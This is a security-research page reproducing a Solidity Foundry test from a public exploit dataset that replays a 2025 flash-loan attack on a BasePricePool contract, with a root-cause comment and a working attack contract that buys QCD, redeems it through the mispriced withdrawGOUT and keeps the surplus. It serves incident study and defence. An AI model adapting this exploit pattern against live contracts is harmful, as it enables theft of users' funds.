Skip to content
THREATWIRE

Public reproduction file

src/test/2025-06/BasePricePool_exp.sol

Public reproduction file for dataset entry BasePricePool.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-06/BasePricePool_exp.sol134 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 802.57 USD
8// Attacker : 0xd9A34aF0b97f13871287C317ea0e1E8C00be0630
9// Attack Contract : 0x99e9Ee61cAC90715FdEDbB07D8786535964BF47b
10// Vulnerable Contract : 0x53FEF7d598A2db0920b2a9FdF27e5C401DC9fF85
11// Attack Tx : https://bscscan.com/tx/0x21cbcc96cd7e31bcb5a724c7ae2ad886c0782d73f83dcbf49cf64f2c2eee4a51
12//
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x53FEF7d598A2db0920b2a9FdF27e5C401DC9fF85#code
15// Run note : FOUNDRY_EVM_VERSION=cancun is required when the repo default EVM is older than Cancun.
16//
17// @Analysis
18// Telegram Alert : https://t.me/defimon_alerts/1306
19//
20// Attack summary: the attacker flash-borrowed USDT, bought QCD, called BasePricePool.withdrawGOUT with
21// the freshly bought QCD, sold the received GOUT back to USDT, repaid the flash source, and kept the
22// surplus USDT.
23// Root cause: withdrawGOUT prices the GOUT payout from the post-transfer QCD amount and a circulating
24// QCD denominator derived from manipulable token/pair balances, allowing an attacker to redeem newly
25// purchased QCD for more GOUT value than the QCD cost.
27address constant ATTACKER = 0xd9A34AF0b97f13871287C317ea0e1E8C00BE0630;
28address constant HISTORICAL_ATTACK_CONTRACT = 0x99e9eE61CaC90715fDEDBB07d8786535964bF47b;
29address constant DODO_USDT_POOL = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476;
30address constant BASE_PRICE_POOL = 0x53FeF7d598A2Db0920b2A9fDF27E5C401DC9Ff85;
31address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
32address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;
33address constant QCD_TOKEN = 0x50D5C6cbe5B5d4ae048F8AA3cdcdc5A2f10d5F78;
34address constant GOUT_TOKEN = 0xF86AF2FBcf6A0479B21b1d3a4Af3893F63207FE7;
36uint256 constant FLASH_USDT_AMOUNT = 1_900 ether;
38interface IBasePricePool {
39 function withdrawGOUT(
40 uint256 amount
41 ) external;
44interface IPancakeRouterFeeOnTransfer {
45 function swapExactTokensForTokensSupportingFeeOnTransferTokens(
46 uint256 amountIn,
47 uint256 amountOutMin,
48 address[] calldata path,
49 address to,
50 uint256 deadline
51 ) external;
54contract ContractTest is BaseTestWithBalanceLog {
55 function setUp() public {
56 uint256 forkBlock = 51_713_981;
57 vm.createSelectFork("bsc", forkBlock);
59 fundingToken = USDT_TOKEN;
60 attacker = ATTACKER;
62 vm.label(ATTACKER, "Attacker");
63 vm.label(HISTORICAL_ATTACK_CONTRACT, "Historical attack contract");
64 vm.label(DODO_USDT_POOL, "DODO USDT pool");
65 vm.label(BASE_PRICE_POOL, "BasePricePool");
66 vm.label(PANCAKE_ROUTER, "Pancake router");
67 vm.label(USDT_TOKEN, "USDT");
68 vm.label(QCD_TOKEN, "QCD");
69 vm.label(GOUT_TOKEN, "GOUT");
70 }
72 function testExploit() public balanceLog {
73 uint256 dodoUsdtBefore = IERC20(USDT_TOKEN).balanceOf(DODO_USDT_POOL);
74 uint256 attackerUsdtBefore = IERC20(USDT_TOKEN).balanceOf(ATTACKER);
76 assertGe(dodoUsdtBefore, FLASH_USDT_AMOUNT);
78 BasePricePoolAttack attack = new BasePricePoolAttack(ATTACKER);
80 // step 1: model the historical DODO flash loan as same-transaction USDT capital and exact repay.
81 vm.prank(DODO_USDT_POOL);
82 IERC20(USDT_TOKEN).transfer(address(attack), FLASH_USDT_AMOUNT);
84 attack.execute();
86 uint256 attackerProfit = IERC20(USDT_TOKEN).balanceOf(ATTACKER) - attackerUsdtBefore;
87 assertEq(IERC20(USDT_TOKEN).balanceOf(DODO_USDT_POOL), dodoUsdtBefore);
88 assertGt(attackerProfit, 790 ether);
89 }
92contract BasePricePoolAttack {
93 address private immutable profitReceiver;
95 constructor(
96 address receiver
97 ) {
98 profitReceiver = receiver;
100 IERC20(USDT_TOKEN).approve(PANCAKE_ROUTER, type(uint256).max);
101 IERC20(QCD_TOKEN).approve(BASE_PRICE_POOL, type(uint256).max);
102 IERC20(GOUT_TOKEN).approve(PANCAKE_ROUTER, type(uint256).max);
103 }
105 function execute() external {
106 address[] memory usdtToQcd = new address[](2);
107 usdtToQcd[0] = USDT_TOKEN;
108 usdtToQcd[1] = QCD_TOKEN;
110 // step 2: buy QCD with the flash USDT.
111 IPancakeRouterFeeOnTransfer(PANCAKE_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(
112 FLASH_USDT_AMOUNT, 1, usdtToQcd, address(this), block.timestamp + 1 hours
113 );
115 // step 3: redeem the newly bought QCD through the vulnerable payout calculation.
116 uint256 qcdBalance = IERC20(QCD_TOKEN).balanceOf(address(this));
117 IBasePricePool(BASE_PRICE_POOL).withdrawGOUT(qcdBalance);
119 address[] memory goutToUsdt = new address[](2);
120 goutToUsdt[0] = GOUT_TOKEN;
121 goutToUsdt[1] = USDT_TOKEN;
123 // step 4: sell the received GOUT, repay the flash source, and forward the USDT profit.
124 uint256 goutBalance = IERC20(GOUT_TOKEN).balanceOf(address(this));
125 IPancakeRouterFeeOnTransfer(PANCAKE_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(
126 goutBalance, 1, goutToUsdt, address(this), block.timestamp + 1 hours
127 );
129 IERC20(USDT_TOKEN).transfer(DODO_USDT_POOL, FLASH_USDT_AMOUNT);
130 IERC20(USDT_TOKEN).transfer(profitReceiver, IERC20(USDT_TOKEN).balanceOf(address(this)));
131 }
133 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “BasePricePool” (2025-06-19). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xd9a34af0b97f13871287c317ea0e1e8c00be0630

  • Attack Contract

    0x99e9ee61cac90715fdedbb07d8786535964bf47b

  • Vulnerable Contract

    0x53fef7d598a2db0920b2a9fdf27e5c401dc9ff85

  • Attack Tx

    0x21cbcc96cd7e31bcb5a724c7ae2ad886c0782d73f83dcbf49cf64f2c2eee4a51

File record

Name
BasePricePool
Path
src/test/2025-06/BasePricePool_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
8daafd872891aa12f13d35ed910061e77f78f924
Language
Solidity
Size
135 lines
Date
2025-06-19
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-06/BasePricePool_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8daafd872891aa12f13d35ed910061e77f78f924, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.